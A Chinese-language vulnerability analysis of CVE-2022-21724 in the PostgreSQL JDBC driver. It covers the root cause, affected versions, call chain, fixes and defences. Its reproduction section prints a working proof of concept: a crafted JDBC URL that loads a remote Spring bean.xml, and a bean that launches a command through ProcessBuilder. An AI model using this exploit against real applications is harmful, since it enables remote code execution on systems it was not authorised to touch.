PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)
字数 1761 2025-08-26 22:11:45
PostgreSQL JDBC 驱动任意代码执行漏洞(CVE-2022-21724) 技术分析文档
漏洞概述
PostgreSQL JDBC 驱动(PgJDBC)中存在一个安全漏洞,当攻击者能够控制 JDBC URL 或连接属性时,可能导致远程代码执行(RCE)。该漏洞源于驱动程序在实例化插件类时未验证这些类是否实现了预期的接口。
漏洞原理
PgJDBC 驱动程序根据以下连接属性提供的类名实例化插件实例:
authenticationPluginClassNamesslhostnameverifiersocketFactorysslfactorysslpasswordcallback
关键问题:驱动程序在实例化这些类之前没有验证类是否实现了预期的接口,导致可以加载任意类并执行其代码。
影响版本
受影响版本范围:
- 9.4.1208 ≤ PgJDBC < 42.2.25
- 42.3.0 ≤ PgJDBC < 42.3.2
漏洞复现
环境准备
- 创建 Maven 项目并添加依赖:
<!-- PostgreSQL JDBC 驱动(漏洞版本) -->
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>
<!-- Spring 上下文支持(用于利用) -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>5.3.23</version>
</dependency>
- 编写测试代码:
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class cve202221724 {
public static void main(String[] args) throws SQLException {
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="
+ socketFactoryClass + "&socketFactoryArg=" + socketFactoryArg;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}
- 准备恶意 XML 文件 (bean.xml):
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
利用过程
- 攻击者构造恶意 JDBC URL,通过
socketFactory参数指定 Spring 的ClassPathXmlApplicationContext类 - 通过
socketFactoryArg参数指定远程 XML 配置文件位置 - 当应用程序尝试建立数据库连接时,会加载并解析指定的 XML 文件
- XML 文件中定义的恶意 bean 会被实例化并执行(本例中会启动计算器程序)
漏洞分析
调用链分析
java.sql.DriverManager#getConnection(java.lang.String)java.sql.DriverManager#getConnection(java.lang.String, java.util.Properties, java.lang.Class<?>)- 使用
org.postgresql.Driver驱动连接数据库 org.postgresql.Driver#connect- 调用
makeConnection连接数据库 org.postgresql.Driver#makeConnectionorg.postgresql.jdbc.PgConnection#PgConnectionorg.postgresql.core.ConnectionFactory#openConnectionorg.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImplorg.postgresql.core.SocketFactoryFactory#getSocketFactory
关键点
在 SocketFactoryFactory#getSocketFactory 方法中:
- 从连接参数中获取
socketFactory和socketFactoryArg的值 - 直接使用反射实例化
socketFactory指定的类 - 没有验证该类是否实现了预期的
SocketFactory接口 - 将
socketFactoryArg作为参数传递给该类的构造函数
修复方案
-
升级到安全版本:
- 升级到 42.2.25 或更高版本(针对 42.2.x 系列)
- 升级到 42.3.2 或更高版本(针对 42.3.x 系列)
-
临时缓解措施:
- 限制应用程序中 JDBC URL 和连接参数的用户输入
- 实施严格的输入验证,确保
socketFactory等参数只能使用可信的、预定义的类
防御建议
- 对所有数据库连接参数实施严格的输入验证
- 使用最低权限原则运行应用程序
- 定期更新依赖库到最新安全版本
- 实施网络隔离,限制应用程序与数据库服务器之间的网络访问
- 监控和记录异常的数据库连接尝试
总结
CVE-2022-21724 是一个典型的因缺乏输入验证而导致的安全漏洞,攻击者通过控制 JDBC 连接参数实现任意代码执行。开发人员应特别注意外部输入的安全性,特别是像数据库连接字符串这样的敏感配置项。